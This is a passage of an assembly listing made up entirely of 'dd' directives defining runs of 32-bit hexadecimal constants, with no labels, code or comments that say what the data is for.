		dd 0C9E66C14h, 0A58AD8F7h, 5A70F861h, 0C8605E50h, 908D12F0h
		dd 91C404C0h, 0D0A70024h, 3A265Ch, 1B2E449Ah, 0A987C913h
		dd 7CCC6659h, 2B004C78h, 0A64FB75Fh, 2EEEF12h, 0E53CE1F2h
		dd 0B84833EAh, 4D4C0A43h, 0FEC680E0h, 98D86B74h, 5070FDC0h
		dd 725D001Eh, 0A2DBE7CFh, 6348C53Ch, 71B44C4Ch,	72945Bh
		dd 0BB84D368h, 44412D79h, 0F87CA84Ah, 0C11666C4h, 0F363D9B0h
		dd 0CBB6BDA0h, 216DD00h, 0F7A43825h, 0B84C3CD6h, 27F26805h
		dd 44908015h, 94956DE9h, 96B020B8h, 58A8209Fh, 9899FA9Fh
		dd 0B5340330h, 0E5F3B2D5h, 0C1547EC3h, 42507F2Ch, 5C9AA0CCh
		dd 0B062CD20h, 5C8801A0h, 0C44FD846h, 0D7688B30h, 9245A2Fh
		dd 810515D1h, 32268480h, 4A0B0CC1h, 2AC543EFh, 6D001CC8h
		dd 0FA21CCD1h, 0A36C2C41h, 2BBE8080h, 0E3977DC4h, 689AA750h
		dd 0E251F7F2h, 2C3DC8E4h, 18BA3830h, 142E5B9h, 0B64D9BE1h
		dd 405AED4Ch, 0E058A4F0h, 0C480809Dh, 34A255FCh, 2407A5Dh
		dd 78C3708h, 5C94857Dh,	0D2825487h, 2DF8F2F0h, 8903CCBh
		dd 6170DD21h, 0DF1BAD03h, 2C2FA043h, 9450B0h, 0BC4D39E8h
		dd 2A98C4C3h, 6101997Fh, 0E5B1120Ch, 246060D4h,	0B3E81830h
		dd 944EF0D6h, 42D09097h, 8009547Fh, 3400B8E9h, 802045C3h
		dd 0CAB68A66h, 0AB8070B4h, 0B1D064F6h, 176F0009h, 0F3497E9Ah
		dd 584BD7C4h, 0BF656A01h, 0F4204AEDh, 64384B0Bh, 918BC60h
		dd 60BC7568h, 9E13C704h, 35F08274h, 8CE0B5D9h, 0C309AF55h
		dd 88921BD7h, 43060854h, 2B01D5Fh, 9A8F0514h, 5098C23h
		dd 5CB26E38h, 981CC14Eh, 82E0064h, 0C3EF04A6h, 0BAE274Fh
		dd 0A0EC8221h, 0D3F0C04Ah, 0C424007Bh, 0BA801618h, 64248820h
		dd 7A1640FBh, 2CCF4CA0h, 67A8E65Dh, 34701C09h, 0B32D7090h
		dd 8D86531h, 6517E8DEh,	98564C4Ch, 1205E722h, 2850E354h
		dd 0D405D86Fh, 0BD4F4763h, 281A6802h, 0E5D84838h, 94509D22h
		dd 38BCECB8h, 0E5B40169h, 402F2DEDh, 0DC015650h, 94BAFF13h
		dd 0CA9180F1h, 5DBA4E72h, 0EF400038h, 5BE0C7A8h, 20078A42h
		dd 92BBE427h, 0E8A0AF74h, 56DD1D17h, 166C0AB2h,	0AD8D00BCh
		dd 8A084309h, 0D307CE0Bh, 480408A8h, 1023DF49h,	100D7A0Eh
		dd 0F06EA7C1h, 403A9008h, 0A50306EEh, 601A56ADh, 1287E18Ah
		dd 0C2327881h, 0C81E3FA2h, 0F00999Eh, 67C9C5F3h, 56847A3h
		dd 6A8C57D7h, 4FD490DAh, 88B8E20Fh, 9A69E002h, 50470BE9h
		dd 25D20900h, 0E863E556h, 4963EBC0h, 5A709401h,	2134904Ah
		dd 8021D449h, 0B47CF9C5h, 48B569Dh, 40F670h, 4CC67F22h
		dd 888A16D7h, 0CF94014Ah
		dd 6A762F4Fh, 1081C800h, 0EA2D332h, 0CB89AAF4h,	0BBB24F23h
		dd 0D6B14000h, 4864C0C9h, 0C8FB02AEh, 775143D1h, 41B404C8h
		dd 0B204010Fh, 0E0CAC240h, 0E4144B48h, 0E234F8D2h, 0C00884A4h
		dd 0DCE3A40Eh, 0E9E0303Eh, 0E048A6E3h, 0E1EE005Ch, 98164993h
		dd 588A5D43h, 5A213500h, 27D2B8E2h, 8D05A8E2h, 2403CC42h
		dd 9A10E0E2h, 0D3284D09h, 0DE90080h, 347D0263h,	0EA74F5Bh
		dd 0D16EB000h, 25A514FEh, 0F12ECF1h, 0B28060CCh, 0C34C2229h
		dd 6B081840h, 59EF090h,	0A0CAFB53h, 8010A80Fh, 16AB6812h
		dd 0AAAE1265h, 5A307215h, 95F81543h, 8C9A10F5h,	0D011B22Ah
		dd 3A1D600h, 4FEF4C67h,	1882FBD7h, 0E778A468h, 42A7AC7Ch
		dd 2784641Ch, 70CD846Eh, 9BF8C925h, 423C66EAh, 68C42D60h
		dd 0B7315018h, 3E3638E1h, 780F3C4Bh, 63D00910h,	5898E043h
		dd 7867CDC1h, 0FA2F5050h, 95284C58h, 9D8C7481h,	81747852h
		dd 0D57E43C6h, 244FA020h, 37CE7A3h, 6BC18C35h, 2E012805h
		dd 74D062E5h, 2D5B0EBAh, 0EC830CFAh, 0FD0EAA4h,	0EF02A8F2h
		dd 6C43DAC6h, 42D8FA2Bh, 451A00CAh, 0F7C164E2h,	2C119585h
		dd 6DE0EF27h, 30012499h, 0A8AD3FA4h, 84E9D374h,	0E0000877h
		dd 0CB0ACE88h, 1B6E54A3h, 168FC8A8h, 0AF7C08CDh, 8132420Bh
		dd 0B549AD04h, 0A80118F0h, 0F2A70B4h, 9A4833ECh, 0E14C2C0h
		dd 460CA5BDh, 684BEB42h, 0A2CF0032h, 5665FDF8h,	0DB284FA0h
		dd 3507C4F1h, 0DA3126D5h, 0E03EEFA0h, 2A887687h, 0E6B82802h
		dd 0B8F761B5h, 391F842h, 94E8336Eh, 73D9A4C8h, 0FE1C488h
		dd 0B58AEF0Ah, 20BBE071h, 9D37h, 392952Ch, 0C26FB800h
		dd 634C5BD8h, 0E5F70264h, 36BBAC87h, 7FCA1860h,	0EC0F6600h
		dd 6E6ADDBFh, 0EB7526D0h, 555000CBh, 0D9CA623Fh, 0E02CE81Eh
		dd 0E517C502h, 1E6850FCh, 397D56A5h, 0D800814Bh, 782961C2h
		dd 440E983Ch, 0AEF800DEh, 6B1845EFh, 8097DF03h,	8A3B7560h
		dd 0C7CA018Dh, 0E9C5B66Fh, 259C6D0Eh, 544642h, 0C0830518h
		dd 0DAF2FD79h, 424450C1h, 103406A7h, 0D093DF1h,	0F6A47780h
		dd 0CF8B9187h, 6F78677Ch, 4B029902h, 7F194F41h,	3871F489h
		dd 0B88CA444h, 29B369CBh, 795F80F0h, 7B5D8441h,	0F8251F42h
		dd 0C9D8003Ah, 0F5A58F8Eh, 93EC6B50h, 951A1800h, 0AD364F01h
		dd 8D0EEFAh, 51D24282h,	2BEB6300h, 4DE59B61h, 0BC12084Ch
		dd 8FC82101h, 9EE858AEh, 1335A907h, 6E779D68h, 628C5240h
		dd 3230C0B5h, 0C3F439D9h, 0DBBD6700h, 0A4AAF516h, 7DE8055Ah
		dd 0B01809E4h, 0E5A4FD0h, 0CC3C00F1h, 63C8C97h,	3CE0259Fh
		dd 5027ECE1h, 3945500Ah, 70462D84h, 86FCD32h, 3EC7128h
		dd 0E90F8AE1h, 3E601055h, 0B9103433h, 507CA5D9h, 0F0D7E584h
		dd 44264C10h, 92006C20h, 0BACD6F80h, 0A43B009Bh, 1E5836E6h
		dd 1803176Bh, 7BA6CBEEh, 0E8B1958Ch, 19A71040h,	2258008Ah
		dd 8ED80D49h, 0FC65138Ch, 0B0A0D320h, 1A6F2442h, 21E78F1Ch
		dd 0A4817780h, 5A0296F0h, 0B4506CD2h, 27D86806h, 6D9200BFh
		dd 0AD379BDCh, 1B0DF921h, 0B083A1E5h, 586443F0h, 0ACB4542Ah
		dd 0ED4C1308h, 2D4E8000h, 0EC03B1h, 820D0BDAh, 64605F10h
		dd 0A64FD139h, 0AE8040B8h, 0D3F261E6h, 7E791CC1h, 5968052h
		dd 0DD4FC87Ch, 50289861h, 83B368Ch, 0A400E254h,	689B4BE7h
		dd 0B2A9FE03h, 74DD0100h, 459CF291h, 44703A5Ch,	17229F66h
		dd 0A3547942h, 3CDE0204h, 68E7907Ah, 0C98EFDCCh, 0A891E420h
		dd 78482A50h, 0EED99DDDh, 0C30A42F4h, 0E4836105h, 4CECA5CDh
		dd 6440F83h, 133F2915h,	23CB009Ch, 7E56A2D2h, 0A9A4B84Ch
		dd 2DEC4DC0h, 0C58502BDh, 0D740506Eh, 3868B0E8h, 0BC09E908h
		dd 5467018Dh, 13D9E4Fh,	702C5F08h, 26E85326h, 484E0924h
		dd 450CE858h, 38DF91E5h, 0C32BDC8h, 53005C7Ch, 0B1552CF0h
		dd 5EB20BC4h, 6B804CA6h, 0DF53AFDh, 9204200h, 1BE2B814h
		dd 15B1009Bh, 0DD1D9AC6h, 180F12C0h, 226BB67Fh,	58722D8Ch
		dd 221400B0h, 92416E37h, 5A4D43D4h, 0B5351298h,	2E182D00h
		dd 98E72Dh, 485969E2h, 0E5436588h, 98E184E2h, 66D1DDE9h
		dd 509A8045h, 55FAD001h, 81EAE5F9h, 0F60D2880h,	0D2EF71F1h
		dd 6C434F2Eh, 0E88DD80h, 6136603h, 48E54E02h, 0AA253020h
		dd 0FAE832ADh, 0E80EB780h, 4CADC888h, 57A20920h, 8113AFEh
		dd 5A9108C7h, 52D888F6h, 12B988E9h, 69180349h, 480C074Ah
		dd 6021C6E5h, 0C14325DBh, 37C8DCE3h, 31D65D8Ch,	63DE6040h
		dd 4ADDE841h, 5DC813Eh,	48482B1Fh, 0BDE58636h, 0A44F50E1h
		dd 308C3438h, 2818FA64h, 20E763E0h, 3B588030h, 470DF010h
		dd 0D0989512h, 0CE80B564h, 2BE80B27h, 24E52AAAh, 0FE16082Ch
		dd 54F2AC87h, 0ACA0482Dh, 0BE87F0F9h, 8C893E80h, 0A8F10F35h
		dd 0EA3A3D3Ch, 0E03C9CF9h, 0AA0316E8h, 0A4FAD9h, 5D954DEBh
		dd 8DE51301h, 247B58h, 69219BC6h, 0B811F41Ah, 0D22220DCh
		dd 365F98F2h, 420918CAh, 4C568B88h, 28A08788h, 0C8785D50h
		dd 0A8C80809h, 0DA98F86Eh, 0B20140F6h, 0B464E40Bh, 0D6F65DEAh
		dd 0A80AC7B0h, 7C00D05h, 0C0BB704Fh, 8B2764A6h,	0AA4AECA2h
		dd 0C000CAD8h, 80A49DD0h, 0B807F77Eh, 801FC2D0h, 0BF4F02AEh
		dd 0E4905596h, 0EC2F65CAh, 7D9CC81Ah, 4EFB1641h, 3E240003h
		dd 17F093B9h, 0C8BA657Ch, 0F03584A1h, 0E02E3497h, 0D100F095h
		dd 0BA9F5163h, 5CE5169Ah, 18B8A387h, 24F80E25h,	914F2549h
		dd 0A73A3860h, 0ADCD29Fh, 0E7DE259Ah, 725D09F1h, 0BCA21285h
		dd 0BE4FC3ACh, 17302F89h, 0FF57F010h, 0CF718A14h, 0D40A5BF8h
		dd 8C70D43Bh, 7C6280AEh, 71086CBCh, 0D23B01C0h,	0A4513143h
		dd 0E06AB821h, 0FC6CADh, 22245F48h, 0B4D7B171h,	0D473C400h
		dd 21ABFBEFh, 58AA0002h, 722EE8A2h, 4700D004h, 0BFE19D5Fh
		dd 27E9E5h, 99508C3Dh, 10A38309h, 2E005179h, 7F9A4DE6h
		dd 0FC729CBFh, 3868C067h, 0A0589798h, 0EFCE6A01h, 45FF6CA4h
		dd 1CF4FCF0h, 80D5F39Bh, 0E3DB02ABh, 0A42DC7C3h, 1FB076D8h
		dd 2B52035Bh, 86E1BC43h, 671881F2h, 0CC087232h,	7FC69881h
		dd 8030AE3Ah, 9D5EA670h, 30EDBA4Eh, 603091F1h, 1100B3F3h
		dd 9212BEF4h, 0F3EF2FFh, 83DCBA3Bh, 3FDAB6C0h, 484164D5h
		dd 2F8B8240h, 0ABB30760h, 80D8B8D3h, 4C4302F3h,	391D2200h
		dd 42A057D0h, 0D63A003Ch, 808E7281h, 69036048h,	0FDE7E473h
		dd 68A01EBAh, 0CB0C007Bh, 0F393DF6Bh, 0E57D8D3Dh, 8001E098h
		dd 0BE103B02h, 380C48E0h, 61006593h, 0C4D72550h, 6C6118C7h
		dd 40CB8F98h, 4BC23886h, 52F830D4h, 7243930Eh, 35105858h
		dd 374700FEh, 4CC7FD3Bh, 847DE707h, 324083Ch, 0F38E9774h
		dd 1487866h, 3D20D155h,	0D5EBEE88h, 3F18850Bh, 0A8096B12h
		dd 0F930000Ah, 7EC7EDBEh, 0CB04019Fh, 66FFF83Ah, 0DD84148h
		dd 0D502A7h, 72E3CB6Ah,	801E6D28h, 3BE63C0Ch, 7E48588Bh
		dd 89C43B12h, 5A721161h, 42880B9h, 33FC01D3h, 0B78400EEh
		dd 0B6AC81FFh, 0E30AC369h, 0D06B930Ah, 0BCF68F83h, 84C043DEh
		dd 98663D0Ch, 0A4A0A9A1h, 0D14C06Bh, 733C6732h,	0E628B0E8h
		dd 0C0A4882h, 0CCDD6BC8h, 0A3744128h, 0C36A0E19h, 0D040DF60h
		dd 6C82420h, 0B63A9E80h, 0DC0F5168h, 0A4AB0BECh, 589375E3h
		dd 8E22C053h, 6064609Ch, 27E86582h, 50036798h, 0AE85C289h
		dd 2C55A0C1h, 0B40B00B1h, 0BCA59708h, 4400C699h, 82AC4048h
		dd 24E7D46Ch, 24D5934h
		dd 0F7C872ABh, 3A842848h, 88C5E47Ch, 8040D321h,	72A937D0h
		dd 1074609Eh, 86A27C9Dh, 4DE5F500h, 0A62F9A6h, 1FB7EA58h
		dd 0C015528Fh, 6FC84ABDh, 27004F4Dh, 0AED65020h, 157FA1Eh
		dd 0B79E6E3Fh, 9515BEC7h, 6940AE0h, 48CA3AB9h, 0BC9A0080h
		dd 3D70F2FCh, 9490DCB8h, 0B083E529h, 0CB1B1400h, 29B512ADh
		dd 85BC9DE6h, 0AA3F6B95h, 108A6787h, 91CD0AC2h,	1030E9F8h
		dd 0B92330C8h, 0DE461D10h, 50FE7600h, 0A1F2EF44h, 7B0892C2h
		dd 91040354h, 42F3EE83h, 120450A6h, 53ECDE11h, 307228C8h
		dd 68607BA0h, 6C243A7Dh, 0AD807802h, 2616F56Bh,	0B823308Eh
		dd 0BC203F58h, 0D31098C4h, 0E4582481h, 60B83AD0h, 0F3143829h
		dd 20E9BDCAh, 12241134h, 84E87CB1h, 0ED093A06h,	0C4EB0011h
		dd 622AA78Ah, 0A8000AA4h, 0D035BC67h, 0CFB6FB8Fh, 0D2438778h
		dd 80BCD971h, 9DB848DAh, 8347802h, 0C14FCEC9h, 0BC5029AAh
		dd 174C2BAh, 0DF5BC765h, 0A1AC7FCFh, 0AA3CA430h, 3A18C84Ah
		dd 0E7B837FFh, 2CD649ECh, 720C5C48h, 0DE307726h, 8B091B78h
		dd 20FAB7C8h, 21C1AD00h, 2991378Eh, 414AF0D8h, 580109B2h
		dd 0C04EE6BDh, 8AF8F4ACh, 19898CAh, 0A78C513Ch,	0F3B1F09Fh
		dd 0AAEDC8B0h, 14A3B49Ah, 75395010h, 59D9430Eh,	0E420AF69h
		dd 0AB7C72ACh, 5DEA0CBh, 0C01C1410h, 8F05FC64h,	0F047867Eh
		dd 8769A872h, 3CB91C0h,	0AD41FBFh, 0C5F1EE38h, 384D87C4h
		dd 0D1440448h, 8332DB24h, 20EC1C41h, 31A01E3Ch,	8E0ABE4Ah
		dd 1C4D20Eh, 0BE50901Fh, 303988FCh, 0A889008Dh,	0BDAE4D0Dh
		dd 0BFE79C00h, 28FD5B1h, 0C820C177h, 60EF906Dh,	16502B58h
		dd 940050ACh, 0C545AFCh, 92DAA63Bh, 0CB033494h,	13BFC0D9h
		dd 0C0C7BC59h, 94C12950h, 188CB363h, 0EE480A2Ch, 0C9A4E819h
		dd 203012A0h, 8BEC5C4Fh, 1F32C07Dh, 36F588B8h, 121CD20Eh
		dd 2C3A02D8h, 0B2FC866Fh, 21110010h, 87BE9C8Ch,	97039550h
		dd 5AC6D4E6h, 606E8F3Ah, 757ECE4Dh, 8EAD0C8Ah, 0AFD882E9h
		dd 1D5C0CB0h, 0CE190241h, 98EB149Fh, 808818CCh,	549A333Fh
		dd 0B8CE559h, 89EC22B6h, 95C9034h, 613B810Dh, 6E9AF141h
		dd 0B67B0B4h, 0CAFB142Bh, 62247831h, 3B0304CCh,	8C80FDD8h
		dd 60565790h, 58B138EBh, 0A850A60Eh, 0D32E16A0h, 290BBEDEh
		dd 0C008A043h, 91674D04h, 6E8805CCh, 58A40018h,	3850B0BFh
		dd 0C9305100h, 0C2D8BD82h, 9EDB1D70h, 62CF8148h, 0BF063F3Ah
		dd 0FB8E8A41h, 0DD0BC4C8h, 1DE823B3h, 4F200281h, 0FA2E8ECCh
		dd 1744300h, 2A7271DAh,	0F05341h, 98CB5999h, 3E56FF75h
		dd 490E851h, 0CAA8C788h, 41956588h, 1872ADB4h, 0F878215Eh
		dd 4C92E638h, 68C5A632h, 98C4A2C1h, 0ABDC005Ch,	4374C6F3h
		dd 0AF8E7B0Dh, 94071844h, 4F1CE9F4h, 926B1D2Bh,	0C973A401h
		dd 0A060AC41h, 0C044AB92h, 0A0C051B7h, 298667BAh, 86CC4AC2h
		dd 302CAD8Eh, 448C14Ch,	0CB0AA66Ah, 98EF40C8h, 32C818C0h
		dd 31E71056h, 6D8ED501h, 99D0720Ch, 67870A8h, 8951907Fh
		dd 0B70B28E3h, 0A1BB7211h, 2D663ED0h, 90B84430h, 8E3B09BCh
		dd 48A9A058h, 0CE8AB810h, 0C8183492h, 5948EA98h, 0C77F0791h
		dd 0C21F45FCh, 84977CBh, 3AAC5035h, 0DCA01734h,	640BB31Fh
		dd 224C043Fh, 0C35CCC0Ch, 39EE98A7h, 0CB0B2414h, 3808C04Ch
		dd 0C6000AA9h, 6A9779CFh, 37724666h, 8B2011E2h,	0E71E6494h
		dd 0A7004F4Eh, 0A1768621h, 7DD16D7h, 8C2108Fh, 88AEA689h
		dd 8867B880h, 3CA048C2h, 116774C8h, 73C5FC50h, 0D3680C00h
		dd 561EE3h, 50B4CBC1h, 0E8670A92h, 3442BD3Ah, 0D075206Bh
		dd 93501004h, 41EA9489h, 0D301E31Ch, 0A0C6F2EDh, 378E020h
		dd 678DB535h, 498E1DC9h, 9BB62200h, 3206F119h, 0A2E0198h
		dd 0E13FF2C4h, 1A2C307Ah, 0C6FA3302h, 43F44772h, 0E3A28040h
		dd 5CC8909Ch, 0E50AC4F2h, 0A4E88AA0h, 0C002021Ch, 0DC460AB2h
		dd 73843A17h, 71448440h, 9208F96h, 0AD8DCE1Eh, 3947C280h
		dd 0CC5D3C8Eh, 54550010h, 68185D96h, 9BDC2E94h,	0CE72E658h
		dd 8253D9E9h, 1C7B9E8h,	1880C442h, 0B0F14572h, 0DA18701Fh
		dd 9638E3D8h, 98807583h, 943E2FFh, 181A9345h, 0F6A74D00h
		dd 787E99ECh, 0FF91AA01h, 5F859C2h, 7DC50A8Fh, 434E7100h
		dd 0C714F92Ch, 0BE4FCFh, 0EDD59AE6h, 32725E03h,	51985D07h
		dd 30641009h, 3CC08A09h, 8E49E53Ah, 0EC912958h,	8B81003Dh
		dd 0C3E47B56h, 68E2425h, 7A49398h, 0A53F65CCh, 0DA64CC2Bh
		dd 8D17E090h, 4440EB68h, 32E7D76Ah, 445D00B4h, 0FDC80AADh
		dd 480C2207h, 502D7C8Eh, 38AB63D9h, 100A7245h, 44960AA8h
		dd 0A31AA090h, 48669E3h, 0C3177855h, 4B01EFD2h,	50BFEE0Ch
		dd 0CCD950D7h, 5F900972h, 7381C98Eh, 0D8424E6Dh, 58C3E207h
		dd 0F23F3BE0h, 0CC8FAFh, 0C8873C27h, 10806719h,	4FD150F6h
		dd 8C3CF325h, 0B03A3E8Bh, 0C78A6014h, 3C3473D2h, 848FF9Dh
		dd 0BB3A2474h, 91A4812Ch, 0EA14C470h, 10FC98E8h, 1EC2DF9h
		dd 0AE0B36BAh, 0E740D406h, 5D6C372h, 13C89266h,	0E7E4003Eh
		dd 8ADEE583h, 0BA509094h, 0C0D5FCC7h, 0E44173A8h, 3F166C67h
		dd 9C40849Ah, 86BD3707h, 0FA3746Ah, 0A9C30DAEh,	0B08CC492h
		dd 0CF00BE18h, 7F6E1F34h, 0CB816635h, 0E8826B20h, 9470EA80h
		dd 0C0BF3809h, 0A37422D1h, 4803068Eh, 0D0B067E4h, 0B5B01203h
		dd 2D94F3Ah, 7092AF28h,	0C01F8Eh, 9D07B8E0h, 11D7E90Fh
		dd 0E5C8D3B3h, 4B208C8h, 0FD4E45E3h, 2177C7C2h,	304FB724h
		dd 3F768BD0h, 13C84248h, 0D43089B5h, 92F4FDAFh,	7E353038h
		dd 57171818h, 0B09BB80Bh, 21E8A290h, 0EF78C887h, 0B3D38B15h
		dd 46C73001h, 881E79F9h, 0BD7430h, 43061D87h, 0B6C2C956h
		dd 7CDE1492h, 0B93A3643h, 264C7EE5h, 9682551h, 7C467915h
		dd 78F03C26h, 51003B17h, 528E7C47h, 3F0C3FDh, 0A0846B90h
		dd 3A1AB38Ch, 6050C583h, 12C61714h, 0B851F1h, 0EAF335ECh
		dd 0FE30C7E3h, 8FB030A9h, 12F198A5h, 192B214h, 34324C1Ch
		dd 811F6085h, 100CAC48h, 0B406FECEh, 60B7E83Ah,	8E36BE09h
		dd 8B4ABA6h, 381F5810h,	4C809012h, 9F2DB45h, 0C643F6Ah
		dd 0B3995C21h, 40CB0247h, 4BC4D31Ch, 3A580343h,	2910087Ch
		dd 0C80CBC46h, 0E868D9E5h, 0B9078405h, 89EBECh,	0A82CA2E1h
		dd 65485026h, 5CA416B0h, 3A23036Ch, 582C4466h, 3FC52C33h
		dd 1290B488h, 40BD8369h, 0EE8924DCh, 945479E4h,	631374ECh
		dd 0C4044B06h, 0E700F9A4h, 444C189Dh, 68729A0Ch, 793A70EEh
		dd 0DD61C96Ah, 0E3EB2802h, 2A4DD070h, 8E8217A8h, 1223EC00h
		dd 263AFEADh, 87985B94h, 0D7EECAh, 0B835E6B9h, 1211365Ch
		dd 5801BD8Ah, 604D2331h, 0C0AC30h, 26115CF7h, 8D508539h
		dd 94816B0Ah, 2503F8AEh, 0A47866h, 695A9C18h, 0E21E3A60h
		dd 5658F892h, 4C702C6Ah, 0FFF5308h, 94890A55h, 0B4217000h
		dd 0E703E48Ch, 2C2FC640h, 0B6A001EEh, 0C4B0826h, 60070A8h
		dd 0AFBD0107h, 399B5ED0h, 0F88C5BE4h, 310A571h,	0CC62E33Fh
		dd 20720DBCh, 0C4242870h, 8E8F02C3h, 0CD2E75Ch,	18176C6Bh
		dd 10074FBCh, 1E604C5Bh, 0A1AA9E72h, 984086B4h,	0B29BC957h
		dd 7CA64C54h, 1F65E200h, 0CF91C87Fh, 0E50878C7h, 0AA80DD74h
		dd 3B0DF2A2h, 0E25C7455h, 666F9B00h, 0F1ECD347h, 1811C930h
		dd 1E698F18h, 15ECAA8h,	0ED873B26h, 81AB31EEh, 2773C648h
		dd 22D8451Ch, 71AB00FFh
		dd 5E46B2BFh, 9C20E537h, 9470E8Ah, 6906A94h, 26CB39B9h
		dd 0CEB60170h, 0FA9BA75Ch, 7225F0C9h, 300B18CCh, 0F29A02DCh
		dd 37083A01h, 0FEC0B107h, 33D5BF9h, 0C6C34063h,	5814D123h
		dd 3F3883E6h, 88A6B071h, 0E2CA69h, 0E36A68E4h, 398466B8h
		dd 28B52737h, 65C24620h, 343600E4h, 8D7AAA52h, 48C135D6h
		dd 26D36C81h, 1F84F4h, 459E251Dh, 5A59C668h, 0B82AA21Eh
		dd 69818D40h, 3C2126D6h, 0A8014F84h, 39F15878h,	0B818F75Fh
		dd 5E70D21Dh, 0A59132CFh, 141064E0h, 3A5506CEh,	30480739h
		dd 0FF7B8F78h, 0BD37BCA9h, 0D93E58h, 91115B6h, 0E20BC9h
		dd 296594AAh, 0AF34C4C3h, 2698BB00h, 0EECFB5E8h, 38EF827h
		dd 85CE5F8Fh, 33D815DEh, 57032E97h, 1139A6B7h, 9700089h
		dd 1AA4FACh, 3401E541h,	0A0990B26h, 0FEC0CE11h,	70DE0080h
		dd 5FECADCCh, 0CF1A755Dh, 1358AE2Ah, 0B69DB0ECh, 348D1422h
		dd 4400A08Fh, 0AE40F9D7h, 41B0D279h, 3AB17114h,	94E800BCh
		dd 0B6C6B9A4h, 6640C011h, 0E20C8537h, 3C873300h, 4FAA0AEBh
		dd 20426A2Ah, 20A52454h, 0A0190FA4h, 0C8A321E6h, 2030D87Bh
		dd 0A20130D6h, 0EA7112E2h, 0DD0007A0h, 24B680DAh, 924A7BAh
		dd 0C3C24495h, 905049EAh, 43240708h, 0B86094B4h, 0A9122C39h
		dd 14409294h, 121110BAh, 2180E5B0h, 20C80B3Ch, 0DA817A5Ch
		dd 6F8CA3F3h, 7163501Eh, 9850EB8Fh, 0B990C198h,	27510CA8h
		dd 1A074207h, 0C9B739CAh, 8E6138CAh, 0BC24DDDAh, 4F1CA04Bh
		dd 590A423h, 0D4F282F0h, 0C28407EAh, 20E02FE2h,	75E9EFF3h
		dd 7F4CC600h, 0C7A0F1A6h, 0E43C646Dh, 872487EBh, 0EE48CCBCh
		dd 8D2110C1h, 58A43609h, 0BFE01D3h, 0D49589B9h,	7B494B39h
		dd 0B43C1EE0h, 1040A90Ch, 0E22E3071h, 0F7157FE0h, 0EB354C0Ah
		dd 4091E45Ah, 2FCFB3Dh,	0CF508FB3h, 2863BC97h, 0C8C1FABBh
		dd 0E849D204h, 5209089Fh, 0E82884CDh, 0ED3A33F4h, 7FBBC708h
		dd 61571813h, 0F19A7100h, 0CD3748h, 994EC02Dh, 7A587C71h
		dd 98C88EC2h, 3458481Eh, 1020E1BDh, 0AEC53071h,	0DB87CFB8h
		dd 0E4F2B209h, 7289882h, 29D8B238h, 87F85D86h, 0EB3E6ACAh
		dd 0BB01340Fh, 80CB6EC6h, 4833DF60h, 0C5AAE1C8h, 0C0BD3871h
		dd 0EA114288h, 939C300h, 5C4765FAh, 826005ABh, 81B4A354h
		dd 40848F47h, 0C61DA7CFh, 0E6CA5800h, 245DE438h, 0A2AE1FCBh
		dd 0D34A00FCh, 0DB63DCFh, 92DB8E00h, 6BD9B2F2h,	890C9150h
		dd 0F0A0A63Eh, 101C202Dh, 6EB3E200h, 71E770C6h,	35B8096Ch
		dd 2809DAh, 8BC706D8h, 0FB00823Ah, 726A46E1h, 2466BBE3h
		dd 6440C183h, 0DC001F51h, 0C78AE31Ah, 480B60B7h, 3D7B661Ch
		dd 3641C318h, 92AAF24Ch, 0C6C10CC8h, 0EC28162Ch, 8D344092h
		dd 1CD87027h, 89607B9h,	0C02ECD57h, 0B2EDE839h,	0CC09A107h
		dd 0D4E1F33Dh, 30619566h, 0DFFE0801h, 95AAC34h,	1684A048h
		dd 30B48C88h, 35C32EE1h, 11057134h, 0CA98FC80h,	423C9246h
		dd 45112E3Ah, 1F3F8500h, 18B10ECCh, 0B0FAEBC8h,	30C0E3B0h
		dd 0D7D547DAh, 413914DDh, 1100B445h, 0BCAECA02h, 0C314B322h
		dd 8CACD372h, 31B73912h, 29F889A9h, 0BC708937h,	18948813h
		dd 2D10EA10h, 0E857296Ah, 9F6CC600h, 0ADFEAA0h,	44C129CEh
		dd 0BD742608h, 0E45466A4h, 934CC49Eh, 98CBD48h,	0E62002C0h
		dd 2A74469Dh, 90EC1A55h, 0C7091CBCh, 37C183A9h,	8FC24E65h
		dd 0D7B60880h, 0C906989h, 6DF37119h, 119E6738h,	24A86893h
		dd 6744254Fh, 9410894Ch, 0C0835BCEh, 4C50BC32h,	0B8408091h
		dd 841150AAh, 894CA18Eh, 0B3429C30h, 71C08008h,	43C48ED1h
		dd 3ED910C4h, 101EB084h, 8FF09A98h, 0DA49C06Dh,	92D869F1h
		dd 0A06418C9h, 0D4364CA8h, 0ADDC00C5h, 0B69FCEE1h, 4800D525h
		dd 0EAB8E6BFh, 48E9C6C0h, 9DA55091h, 0D3BC6054h, 0CA8458F9h
		dd 6C4DD40h, 0C807577Dh, 2E0310BDh, 0BA928E56h,	639AA0CAh
		dd 7D8BE226h, 78427BDCh, 0DEAE39D5h, 857B103h, 3871CD9Fh
		dd 6492509h, 0C7A821ADh, 0F08C6878h, 0B3D8DC09h, 0C818D979h
		dd 2118A6F8h, 0CF483BB7h, 56231380h, 6B454A4h, 34397D09h
		dd 0AC582010h, 0C024468Dh, 0D39EAFD8h, 0A500B1EDh, 0B68066E4h
		dd 92F84DC6h, 7B3B0F90h, 17E224h, 0B6B2DF44h, 90786502h
		dd 0E5089150h, 0C0148350h, 477DEE14h, 0C1FA0894h, 1FE9404Ah
		dd 3D200A57h, 562074B8h, 0E84DA4C1h, 219D4176h,	50F88704h
		dd 39A15AC1h, 0C9E2668Dh, 0FA02B280h, 0EC00D204h, 0B511AF27h
		dd 0F128E558h, 0AC62018Eh, 31C73C44h, 3201C38h,	64C730BDh
		dd 0C6BA1606h, 1818B7BEh, 515F88B5h, 7C943C71h,	5C304F00h
		dd 0E2E8BAh, 0D0C4091Ch, 6505EACBh, 4EBC4C00h, 0C0BD268Fh
		dd 9BA92C17h, 0BF117F8h, 6822D234h, 8909EA47h, 18740050h
		dd 1EF093F6h, 409B9CE4h, 0EEBDFA61h, 49183995h,	0C3D065F5h
		dd 5A140070h, 0F03DE536h, 5F4CFB25h, 6520FA0h, 95D5C0E0h
		dd 60918EC1h, 86D93040h, 0F7F2DF50h, 3C84C249h,	852CBB38h
		dd 81FFD4E3h, 30E61080h, 0BD3E001Ah, 0BCC80908h, 0BF004F6Dh
		dd 1F853BE5h, 0BB1E7D4h, 0AE698DA1h, 142818A0h,	0D7F80D50h
		dd 4600BF8h, 0C845F618h, 0F49AB2h, 88859765h, 0C7B05A74h
		dd 30171D24h, 0F97B4D81h, 0A880ED22h, 27E0160Ch, 49C3288Dh
		dd 0F83D59FEh, 584F7194h, 8458CC87h, 9C8FE71h, 2FBE39A1h
